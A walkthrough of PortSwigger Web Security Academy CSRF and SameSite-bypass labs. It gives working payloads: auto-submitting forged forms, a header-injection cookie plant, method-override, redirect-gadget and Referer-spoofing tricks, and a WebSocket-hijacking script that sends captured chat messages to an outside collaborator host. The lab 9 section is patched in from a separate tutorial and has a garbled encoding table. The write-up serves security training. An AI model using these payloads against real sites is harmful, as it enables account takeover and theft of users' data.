Labs Covered
This write-up focuses on the following PRACTITIONER-level labs from the PortSwigger Web Security Academy related to Cross-Site Request Forgery (CSRF):
2 CSRF where token validation depends on request method
This lab demonstrates how relying on the request method to validate CSRF tokens can be bypassed.
3 CSRF where token validation depends on token being present
This lab shows vulnerabilities where validation only checks for the presence of a token, not its correctness.
4 CSRF where token is not tied to user session
This lab explores issues arising when CSRF tokens are not properly tied to individual user sessions.
5 CSRF where token is tied to non-session cookie
This lab demonstrates weaknesses when tokens are linked to cookies unrelated to the user session.
6 CSRF where token is duplicated in cookie
This lab shows how duplication of CSRF tokens in cookies can be exploited.
7 SameSite Lax bypass via method override
This lab demonstrates bypassing SameSite=Lax cookie restrictions by overriding HTTP methods.
8 SameSite Strict bypass via client-side redirect
This lab shows how client-side redirects can be used to bypass SameSite=Strict cookie policies.
9 SameSite Strict bypass via sibling domain
This lab explains how sibling domains can be leveraged to bypass SameSite=Strict protections.
10 SameSite Lax bypass via cookie refresh
This lab demonstrates bypassing SameSite=Lax restrictions by refreshing cookies.
11 CSRF where Referer validation depends on header being present
This lab shows weaknesses when Referer validation is conditional on the presence of the header.
12 CSRF with broken Referer validation
This lab covers vulnerabilities due to incorrect or incomplete Referer header validation.
LAB 2 - CSRF where token validation depends on request method
Lab Description
Solution
I accessed the lab and logged into the test account. While intercepting the Update Email functionality, I observed that, unlike the previous lab, an additional CSRF token had been added alongside the email field.
To test the protection, I removed the CSRF token and attempted to submit the request. As expected, the request failed, indicating that the CSRF token was being validated correctly.
Next, I explored a different approach. I changed the HTTP method from POST to GET and removed the CSRF token. This time, the request was successful, revealing a flaw in the server’s validation logic for GET requests.
With this behavior confirmed, I crafted a CSRF exploit using Burp Suite. I generated an HTML form with the method set to GET and submitted it to the exploit server.
Deliver the exploit to victim.
LAB 3 - CSRF where token validation depends on token being present
Lab Description
Solution
I accessed the lab and logged into the test account. I intercepted the Update Email functionality and noticed that there was an additional csrf token along with the email field similar to the previous lab.
I again removed the csrf token to check if I could bypass this CSRF protection, and the request was successful!
I constructed my CSRF exploit code using this information. I submitted it on the exploit server and solved the lab successfully.
LAB 4 - CSRF where token is not tied to user session
Lab Description
Solution
I accessed the lab and logged into the test account. I intercepted the Update Email functionality and noticed that the CSRF token was being used. I removed the last two characters of the token to check if the application accepted a random token value, but it didn’t work.
This confirmed that the application required a valid CSRF token. Since it was a randomly generated token, there was no way for an attacker to guess it. However, I realized that the application might be accepting any valid CSRF token, regardless of whether it belongs to the current user or not.
Insecure Application Logic
Some applications do not validate that the CSRF token belongs to the same session as the user who is making the request. Instead, the application maintains a global pool of valid tokens and accepts any token from this pool.
In such a case, an attacker can log in to the application using their own account, obtain a valid CSRF token, and then use that token to perform a CSRF attack against another user.
A faulty implementation might look like this:
def validate_token():
if request.csrf_token:
if (request.csrf_token in valid_csrf_tokens):
pass
else:
throw_error("CSRF token incorrect. Request rejected.")
[...]
def process_state_changing_action():
validate_token()
Exploiting the Flaw
If the CSRF token is not tied to the user’s session, we can reuse any other valid token. The server will accept it as long as the token itself is valid, even if it doesn’t belong to the current session.
Step 1: Get Wiener’s CSRF Token
Logged in as wiener and intercepted the change email request:
POST /my-account/change-email HTTP/2
Host: example.web-security-academy.net
Cookie: session=9PB8Veq3lkJHgs2D4HZnfvUKuJOGvxnd
...
Referer: https://example.web-security-academy.net/my-account?id=wiener
email=wiener%40user.net&csrf=6Wy58vHSJAKJJdZzmwioYeLDCxGeexP4
- Wiener’s CSRF Token:
6Wy58vHSJAKJJdZzmwioYeLDCxGeexP4
Step 2: Get Carlos’s CSRF Request
Logged in as carlos:montoya (attacker) and intercepted his CSRF token:
POST /my-account/change-email HTTP/2
Host: example.web-security-academy.net
Cookie: session=x4B7o8ZwRIVNSEkvEiyDDuuJ2dQEmqHI
...
Referer: https://example.web-security-academy.net/my-account?id=carlos
email=test%40user.net&csrf=V7b2azJ1ChGis7L0p2dCyFazJpCWoFMP
- Carlos’s CSRF Token:
V7b2azJ1ChGis7L0p2dCyFazJpCWoFMP
Step 3: Replace Carlos’s Token with Wiener’s
I replaced Carlos’s token with Wiener’s valid token and sent the following request:
POST /my-account/change-email HTTP/2
Host: example.web-security-academy.net
Cookie: session=x4B7o8ZwRIVNSEkvEiyDDuuJ2dQEmqHI
...
Referer: https://example.web-security-academy.net/my-account?id=carlos
email=test%40user.net&csrf=6Wy58vHSJAKJJdZzmwioYeLDCxGeexP4
The request was accepted, confirming the flaw.
Final Exploit: CSRF PoC Delivered to Victim
I crafted the following CSRF PoC using Wiener’s CSRF token and hosted it on the exploit server:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://example.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="pwned@user.net" />
<input type="hidden" name="csrf" value="6Wy58vHSJAKJJdZzmwioYeLDCxGeexP4" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
Thus we solved the lab,
LAB 5 - CSRF where token is tied to non-session cookie
Lab Description
Solution
I accessed the lab and logged into the test account. I intercepted the Update Email functionality and noticed that the application had enhanced the CSRF protection. Along with the CSRF token in the request body, the server also issued a csrfKey cookie.
Initial Tests
I first removed the CSRF token from the request and sent it. As expected, the request failed.
Then, I tried submitting the csrf token of second test account (attacker’s) with this request, but it didn’t solve the lab. This meant that the csrf token could be tied to the session cookie or the csrfKey or both. I tested the first possibility where csrf token could be tied to the csrfKey. I grabbed the csrfKey along with the csrf token from the second test account (or attacker account) and used it in the Change Email request of the first account. The request was successful! This meant that the application was not validating whether the cookie and token belonged to the same user account or not. It only required a valid cookie and token from the server.
Exploitation Plan
To execute this attack, I needed to plant the attacker’s csrfKey cookie in the victim’s browser.
This could be achieved if the application were vulnerable to HTTP Response Splitting.
Finding Injection Point
The application had a Search functionality. I entered a search term and intercepted the request using Burp Suite.
The response showed that the application was setting a LastSearchTerm cookie with the user-provided search input.
This made it clear that the application was vulnerable to HTTP Response Splitting, allowing me to inject arbitrary headers.
From the response we can confirm that we can inject the csrfkey value by HTTP header injection.
Send the above request to POC generator.
Note that we have only changed the csrf token value to wiener’s token. The csrfkey value is still the same(carlos’s). It has to be injected into victim’s session. For this we can use a
<img>tag, where we load the url along with HTTP header injection payload to inject the csrfkey value as wiener’s csrf key . Since there is no image in that url , it will trigger an error. On error it will submit the form.
<img src="https://id.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=DeXLkdkNhCEpCDz5WHWqsRmLrAI6X3wz%3b%20SameSite=None" onerror="document.forms[0].submit()">
**Final payload **
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://id.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="pwned@test.com" />
<input type="hidden" name="csrf" value="A3SRAhW10ulYAujS4LqoGMSAbVtJR1WY" />
<input type="submit" value="Submit request" />
</form>
<img src="https://id.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=DeXLkdkNhCEpCDz5WHWqsRmLrAI6X3wz%3b%20SameSite=None" onerror="document.forms[0].submit()">
</body>
</html>
Deliver the exploit to victim to solve the lab.
LAB 6 - CSRF where token is duplicated in cookie
Lab Description
Solution
When we login as wiener using the credentials wiener:peter , we can see that there is an option to update email.
I accessed the lab and logged into the test account. I intercepted the Update Email functionality to analyze the CSRF defenses implemented in the application.
I observed that the same CSRF value was being used both in the request body as a token and in the csrf cookie.
Testing CSRF Validation
To test how the application validated CSRF data:
- I removed a few characters from the CSRF token → the request failed.
- I removed a few characters from the CSRF cookie → the request also failed.
- Then, I removed the same characters from **both the cookie csrf and the token csrf ** → the request was successful.
This behavior revealed that the application only required the CSRF token and cookie to match, regardless of their actual values.
Exploitation
Since the server only checked if both CSRF values were identical (not valid), an attacker didn’t need a real or server-issued CSRF token.
I reused the exploit code from the previous lab and modified it:
- Set both the CSRF token and cookie to an arbitrary but identical value (e.g.,
csrf).
<html>
<body>
<script>
document.cookie = "csrf=csrf";
</script>
<form action="https://example.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="attacker@example.com" />
<input type="hidden" name="csrf" value="csrf" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
LAB 7 - SameSite Lax bypass via method override
Lab Description
Solution
Objective
Exploit a CSRF vulnerability where no unpredictable tokens are present, and session cookies use the default SameSite=Lax setting, allowing cookies to be sent in top-level GET requests.
Step-by-Step Breakdown
1. Log into the Victim Account
Logged in to the lab-provided account using the credentials:
Username: wiener
Password: peter
Navigated to My Account and changed the email address to capture the request.
2. Analyze the Email Change Request
Intercepted the following request to update the email:
POST /my-account/change-email HTTP/2
Host: your-lab-id.web-security-academy.net
Cookie: session=<session-id>
Content-Type: application/x-www-form-urlencoded
email=wiener%40user.net
Observation:
- No CSRF token is present.
- The only protection is the
SameSite=Laxrestriction on the session cookie.
3. Attempt a GET Request
Used Burp to change the request method to GET. This was rejected by the server:
GET /my-account/change-email?email=pwned@web-security-academy.net HTTP/2
Response: 405 Method Not Allowed
5. Bypass Using _method=POST
Appended a method override parameter to simulate a POST via GET:
GET /my-account/change-email?email=pwned@web-security-academy.net&_method=POST HTTP/2
This trick worked because the server accepted _method=POST as an override.
6. Build the Exploit
To ensure the session cookie is included, the request must result from top-level navigation. I created the following HTML payload:
<script>
document.location = "https://your-lab-id.web-security-academy.net/my-account/change-email?email=pwned@web-security-academy.net&_method=POST";
</script>
This causes the victim’s browser to send a GET request that is interpreted as a POST, with the session cookie included (due to SameSite=Lax + top-level navigation).
So in our final payload, we change the request method - method="GET" & then we include a hidden input form (ie.) - <input type="hidden" name="_method" value="PUT"> inside the form to override the request method.
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https:///your-lab-id.web-security-academy.net/my-account/change-email" method="GET">
<input type="hidden" name="_method" value="POST">
<input type="hidden" name="email" value="test@test.com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
7. Deliver the Exploit
- Stored the payload on the Exploit Server.
- Delivered the exploit to the victim.
- Once triggered, the victim’s session performed the email change, and the lab was marked as solved.
LAB 8 - SameSite Strict bypass via client-side redirect
Lab Description
Solution
Step 1: Analyze the Login Flow
After logging in as the user wiener:peter, the browser sends a POST request to the /login endpoint. The server responds with a Set-Cookie header, which includes a session cookie:
Set-Cookie: session=example_session_cookie; Secure; HttpOnly; SameSite=Strict
This means the browser will not send the session cookie in cross-site requests — even top-level navigations — due to the SameSite=Strict attribute.
Step 2: Intercept Email Change Request
After login, I navigated to the My Account page and submitted a request to change the email. The intercepted request looked like:
POST /my-account/change-email HTTP/2
Host: abcd1234efgh5678ijkl.web-security-academy.net
Cookie: session=sample_cookie_value
Content-Type: application/x-www-form-urlencoded
email=wiener%40user.net&submit=1
There were no CSRF tokens and no SameSite restrictions on this endpoint.
This raised a question: Can we somehow trick the browser into making this request with the user’s session cookie?
Step 3: Identify Client-Side Redirect Gadget
Clicking on a blog post and posting a comment triggers a redirect to:
/post/comment/confirmation?postId=4
After a few seconds, the user is automatically redirected back to the homepage using JavaScript.
Visual Flow of Client-Side Redirection
- Confirmation Page Response
- JavaScript Redirect Logic
- Redirect to Homepage
Step 4: URL Manipulation and Path Traversal
What happens if we change postId to something arbitrary like foo?
Request:
/post/comment/confirmation?postId=foo
Redirects to:
/post/foo
Response
And as expected we got redirected to /post/foo
Then we tried:
/post/comment/confirmation?postId=1/../../my-account
Redirected to:
/my-account
This is our redirect gadget.
Step 5: Exploit SameSite Cookie Behavior
Despite SameSite=Strict, the redirect works because it’s handled entirely within the same origin. So, we create a cross-site script that loads this confirmation page and lets the site redirect the victim while maintaining their session.
Proof of Concept (PoC)
<script>
document.location = "https://abcd1234efgh5678ijkl.web-security-academy.net/post/comment/confirmation?postId=../my-account";
</script>
Browser retains the cookie during the redirect:
Step 6: Generate Final Payload
We confirmed the server accepts a GET request to change the email. Now we leverage the redirect gadget to forge this CSRF attack.
Final Exploit Payload
<script>
document.location = "https://abcd1234efgh5678ijkl.web-security-academy.net/post/comment/confirmation?postId=1/../../my-account/change-email?email=pwned%40user.net%26submit=1";
</script>
Once this script is loaded by the victim, their browser navigates through the redirect and sends the forged request with their valid session.
Step 7: Lab Solved
After delivering this payload to the victim, the email address was successfully changed — confirming the CSRF attack bypassed SameSite protections using a client-side redirect gadget.
LAB 9 - SameSite Strict bypass via sibling domain
Lab Description
Solution
WebSocket XSS and CSWSH Attack Tutorial Identifying WebSocket Usage To determine if a web application uses WebSockets, follow these steps:
Set up Burp Suite: Configure Burp Suite to capture traffic. Navigate the Application: Click through every page to trigger potential WebSocket connections, as WebSockets are often used in specific components. Check WebSocket Traffic: In Burp Suite, go to Proxy -> WebSockets history to view captured WebSocket traffic. If no traffic appears, the application may not use WebSockets. Example: The /chat endpoint was found to send and receive data over WebSockets.
Understanding WebSocket Connection Establishment WebSocket connections typically start with an HTTP request. For example:
Navigating to the /chat endpoint returns an HTML document referencing a JavaScript file (/resources/js/chat.js).
This JavaScript file initiates a WebSocket connection using the action attribute of the chat form to determine the WebSocket URL.
JavaScript Code Analysis The JavaScript code in /resources/js/chat.js handles the WebSocket connection and chat functionality. Key points:
Encoded Characters: The following characters are encoded when sending messages: ‘ “ < > & \r \n \.
Code Snippet:
(function () {
var chatForm = document.getElementById("chatForm");
var messageBox = document.getElementById("message-box");
var webSocket = new WebSocket(chatForm.getAttribute("action"));
webSocket.onopen = function (evt) {
writeMessage("system", "System:", "No chat history on record")
webSocket.send("READY")
}
webSocket.onmessage = function (evt) {
var message = evt.data;
if (message === "TYPING") {
writeMessage("typing", "", "[typing...]")
} else {
var messageJson = JSON.parse(message);
if (messageJson && messageJson['user'] !== "CONNECTED") {
Array.from(document.getElementsByClassName("system")).forEach(function (element) {
element.parentNode.removeChild(element);
});
}
Array.from(document.getElementsByClassName("typing")).forEach(function (element) {
element.parentNode.removeChild(element);
});
if (messageJson['user'] && messageJson['content']) {
writeMessage("message", messageJson['user'] + ":", messageJson['content'])
}
}
};
webSocket.onclose = function (evt) {
writeMessage("message", "DISCONNECTED:", "-- Chat has ended --")
};
chatForm.addEventListener("submit", function (e) {
sendMessage(new FormData(this));
this.reset();
e.preventDefault();
});
function writeMessage(className, user, content) {
var row = document.createElement("tr");
row.className = className
var userCell = document.createElement("th");
var contentCell = document.createElement("td");
userCell.innerHTML = user;
contentCell.innerHTML = content;
row.appendChild(userCell);
row.appendChild(contentCell);
document.getElementById("chat-area").appendChild(row);
}
function sendMessage(data) {
var object = {};
data.forEach(function (value, key) {
object[key] = htmlEncode(value);
});
webSocket.send(JSON.stringify(object));
}
function htmlEncode(str) {
if (chatForm.getAttribute("encode")) {
return String(str).replace(/['"<>&\r\n\\]/gi, function (c) {
var lookup = {'\\': '\', '\r': '
', '\n': '
', '"': '"', '<': '<', '>': '>', "'": ''', '&': '&'};
return lookup[c];
});
}
return str;
}
})();
Discovering a Subdomain
When retrieving the JavaScript file, the HTTP response includes an Access-Control-Allow-Origin header pointing to a subdomain (cms).
Subdomain Vulnerability The cms subdomain contains a login function that reflects the username in the response, making it vulnerable to Cross-Site Scripting (XSS). For example:
XSS Payload: <script>alert(1)</script>
This payload triggers an alert, confirming the XSS vulnerability.
The login request is a POST but can be converted to a GET request for easier exploitation.
Exploiting XSS for CSWSH
Since the cms subdomain is part of the same site, it bypasses SameSite cookie restrictions, enabling a Cross-Site WebSocket Hijacking (CSWSH) attack. The attack involves:
Crafting a malicious payload to establish a WebSocket connection to the /chat endpoint. Sending intercepted WebSocket messages to an attacker-controlled server.
CSWSH Payload
<script>
var ws = new WebSocket('wss://0a2300d903aa833880e1999c00ff0015.net/chat');
ws.onopen = function() {
ws.send("READY");
};
ws.onmessage = function(event) {
fetch('https://110tll1sbyflso7uajbly9oyppvgj67v.oastify.com', {method: 'POST', mode: 'no-cors', body: event.data});
};
</script>
URL-Encoded CSWSH Payload:
%3c%73%63%72%69%70%74%3e%0a%20%20%20%20%76%61%72%20%77%73%20%3d%20%6e%65%77%20%57%65%62%53%6f%63%6b%65%74%28%27%77%73%73%3a%2f%2f%30%61%32%33%30%30%64%39%30%33%61%61%38%33%33%38%38%30%65%31%39%39%39%63%30%30%66%66%30%30%31%35%2e%6e%65%74%2f%63%68%61%74%27%29%3b%0a%20%20%20%20%77%73%2e%6f%6e%6f%70%65%6e%20%3d%20%66%75%6e%63%74%69%6f%6e%28%29%20%7b%0a%20%20%20%20%20%20%20%20%77%73%2e%73%65%6e%64%28%22%52%45%41%44%59%22%29%3b%0a%20%20%20%20%7d%3b%0a%20%20%20%20%77%73%2e%6f%6e%6d%65%73%73%61%67%65%20%3d%20%66%75%6e%63%74%69%6f%6e%28%65%76%65%6e%74%29%20%7b%0a%20%20%20%20%20%20%20%20%66%65%74%63%68%28%27%68%74%74%70%73%3a%2f%2f%31%31%30%74%6c%6c%31%73%62%79%66%6c%73%6f%37%75%61%6a%62%6c%79%39%6f%79%70%70%76%67%6a%36%37%76%2e%6f%61%73%74%69%66%79%2e%63%6f%6d%27%2c%20%7b%6d%65%74%68%6f%64%3a%20%27%50%4f%53%54%27%2c%20%6d%6f%64%65%3a%20%27%6e%6f%2d%63%6f%72%73%27%2c%20%62%6f%64%79%3a%20%65%76%65%6e%74%2e%64%61%74%61%7d%29%3b%0a%20%20%20%20%7d%3b%0a%3c%2f%73%63%72%69%70%74%3e
Full Exploit Payload
<script>
document.location = "https://cms-0a2300d903aa833880e1999c00ff0015.web-security-academy.net/login?username=%3c%73%63%72%69%70%74%3e%0a%20%20%20%20%76%61%72%20%77%73%20%3d%20%6e%65%77%20%57%65%62%53%6f%63%6b%65%74%28%27%77%73%73%3a%2f%2f%30%61%32%39%30%30%39%62%30%34%65%32%65%35%38%32%38%30%34%66%63%31%66%37%30%30%62%38%30%30%64%35%2e%77%65%62%2d%73%65%63%75%72%69%74%79%2d%61%63%61%64%65%6d%79%2e%6e%65%74%2f%63%68%61%74%27%29%3b%0a%20%20%20%20%77%73%2e%6f%6e%6f%70%65%6e%20%3d%20%66%75%6e%63%74%69%6f%6e%28%29%20%7b%0a%20%20%20%20%20%20%20%20%77%73%2e%73%65%6e%64%28%22%52%45%41%44%59%22%29%3b%0a%20%20%20%20%7d%3b%0a%20%20%20%20%77%73%2e%6f%6e%6d%65%73%73%61%67%65%20%3d%20%66%75%6e%63%74%69%6f%6e%28%65%76%65%6e%74%29%20%7b%0a%20%20%20%20%20%20%20%20%66%65%74%63%68%28%27%68%74%74%70%73%3a%2f%2f%69%66%31%77%37%73%69%67%61%31%63%65%7a%6a%33%30%62%38%6b%30%38%69%32%30%65%72%6b%69%38%62%77%30%2e%6f%61%73%74%69%66%79%2e%63%6f%6d%27%2c%20%7b%6d%65%74%68%6f%64%3a%20%27%50%4f%53%54%27%2c%20%6d%6f%64%65%3a%20%27%6e%6f%2d%63%6f%72%73%27%2c%20%62%6f%64%79%3a%20%65%76%65%6e%74%2e%64%61%74%61%7d%29%3b%0a%20%20%20%20%7d%3b%0a%3c%2f%73%63%72%69%70%74%3e&password=aa";
</script>
Executing the Attack
Store the Payload: Save the full exploit payload on an exploit server. Deliver to Victim: Send the payload URL to the victim, causing their browser to execute the script.
Monitor Collaborator: Check the collaborator tool (e.g., oastify.com) for intercepted WebSocket messages.
One of the captured messages contains a password (e.g., 711asa…).
Completing the Lab
Use the intercepted password to log in to the cms subdomain. Successful login completes the lab.
LAB 10 - SameSite Lax bypass via cookie refresh
Lab Description
Solution
-
There is a function to update the email address.
-
This uses a POST request:
POST /my-account/change-email
Content-Type: application/x-www-form-urlencoded
data: email=target@site.com
-
It is not possible to change the method to GET.
OAuth Redirection Flow
When logging in, we get redirected to a subdomain oauth, for example:
https://oauth-0a6f009504061a2780d1702b026c00f7.oauth-server.net/auth?client_id=erw3xdeohdsu1g89oaqu0&redirect_uri=https://0a72005004831ac38087729700fb0018.web-security-academy.net/oauth-callback&response_type=code&scope=openid%20profile%20email
⚠️ This request requires parameters like
client_id, otherwise it fails.
Observations
According to PortSwigger:
Completing an OAuth-based login flow may result in a new session each time as the OAuth service doesn’t necessarily know whether the user is still logged in to the target site.
Key Point
We can access /social-login while already logged in to trigger the OAuth flow again and get a new session cookie.
Method 1: Using CSRF PoC with Window Click + OAuth Refresh
<html>
<!-- CSRF PoC - Burp Suite -->
<body>
<form action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="test77@test.com" />
<input type="submit" value="Submit request" />
</form>
<script>
window.onclick = () => {
window.open('https://YOUR-LAB-ID.web-security-academy.net/social-login');
setTimeout(submit, 10000);
function submit() {
history.pushState('', '', '/');
document.forms[0].submit();
}
};
</script>
</body>
</html>
Method 2: CSRF via Auto-Submit and Session Renewal
Step-by-Step:
- Log in via your social media account and change your email address.
- In Burp, go to
Proxy > HTTP historyand review thePOST /my-account/change-emailrequest. - Notice it has no CSRF token and no SameSite restrictions.
Basic CSRF Attack PoC:
<script>history.pushState('', '', '/')</script>
<form action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="foo@bar.com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
⚠️ This works only if the user is logged in and the session is fresh (less than 2 mins).
Bypass SameSite and Force Session Refresh
Exploit with OAuth Refresh:
<form method="POST" action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email">
<input type="hidden" name="email" value="pwned@web-security-academy.net">
</form>
<script>
window.open('https://YOUR-LAB-ID.web-security-academy.net/social-login');
setTimeout(changeEmail, 5000);
function changeEmail() {
document.forms[0].submit();
}
</script>
☝️ Popup blockers may block the OAuth window if not triggered by user interaction.
Final Version: Trigger via Click to Bypass Popup Blockers
<form method="POST" action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email">
<input type="hidden" name="email" value="pwned@portswigger.net">
</form>
<p>Click anywhere on the page</p>
<script>
window.onclick = () => {
window.open('https://YOUR-LAB-ID.web-security-academy.net/social-login');
setTimeout(changeEmail, 5000);
};
function changeEmail() {
document.forms[0].submit();
}
</script>
Deliver the exploit to victum and lab will be solved
Final Testing Instructions
- View the exploit yourself and click the page.
- This triggers
/social-login→ new session cookie issued. - After 5 seconds, the CSRF request is sent.
- The
change-emailPOST includes the new session cookie. - Confirm via Burp that the session cookie was accepted.
- Check the account page – the email should now be updated.
- Update the payload to target the victim (not your own email).
- Deliver the exploit to the victim to solve the lab.
✅ Lab Solved when victim’s email is changed via CSRF attack using an OAuth-refresh workaround.
LAB 11 - CSRF where Referer validation depends on header being present
Lab Description
Overview :
Validation of Referer depends on header being present
Some applications validate the Referer header when it is present in requests but skip the validation if the header is omitted.
In this situation, an attacker can craft their CSRF exploit in a way that causes the victim user’s browser to drop the Referer header in the resulting request. There are various ways to achieve this, but the easiest is using a META tag within the HTML page that hosts the CSRF attack:
<meta name="referrer" content="never">
Solution
I intercepted the Update Email request to understand the CSRF defenses implemented by the application. Here’s what I observed:
- No CSRF tokens were present in the request body or cookies.
- The only noticeable difference was the presence of a
Refererheader. - This header wasn’t used in previous CSRF labs.
To test its impact, I removed the Referer header and resubmitted the request.
✅ Result: The request was still successful without the
Refererheader.
This confirmed that the application checks the Referer header as a CSRF defense mechanism.
To bypass this defense, I needed to suppress the Referer header from being sent with the malicious request.
Send the request to POC generator & add the following line to tell the application to ignore Referrer header.
<meta name="referrer" content="no-referrer">
This instructs the browser not to send the Referer header when the exploit is triggered.
With that in place, I crafted a simple CSRF exploit:
<!DOCTYPE html>
<html>
<head>
<meta name="referrer" content="no-referrer">
</head>
<body>
<form action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="attacker@evil.com" />
<input type="submit" value="Click me" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
I hosted the above payload on the exploit server provided by the lab. When the victim visited the exploit page the lab will be solved:
LAB 12 - CSRF with broken Referer validation
Lab Description
Solution
I intercepted the Update Email request to examine the CSRF protections in place. The application relied on Referer header validation to mitigate CSRF.
-
When I removed the
Refererheader, the response returned:❌
Invalid referer header -
I then attempted to modify the Referer header with arbitrary values (e.g., another domain):
❌ Request still rejected
To bypass the validation, I tested a Referer spoofing technique using the following format:
Referer: https://exploit-server.net/?https://victim-site.com
✅ This trick worked. The application considered the Referer valid, likely because it only checked for the presence of the victim domain somewhere in the header value.
To control the Referer header via JavaScript, I used the history.pushState() method to manipulate the browser history before submitting the CSRF request:
<!DOCTYPE html>
<html>
<head>
<meta name="referrer" content="unsafe-url">
</head>
<body>
<form action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="attacker@evil.com" />
</form>
<script>
// Inject spoofed referer using pushState
history.pushState({}, "", "/?https://YOUR-LAB-ID.web-security-academy.net");
document.forms[0].submit();
</script>
</body>
</html>
By default, most browsers strip the query string from the Referer header for privacy/security reasons. To override this behavior and force the browser to send the full URL (with query string), I used:
<meta name="referrer" content="unsafe-url">
Alternatively, you can use an HTTP header on the exploit server:
Referrer-Policy: unsafe-url
Deliver the exploit to victim to solve the lab.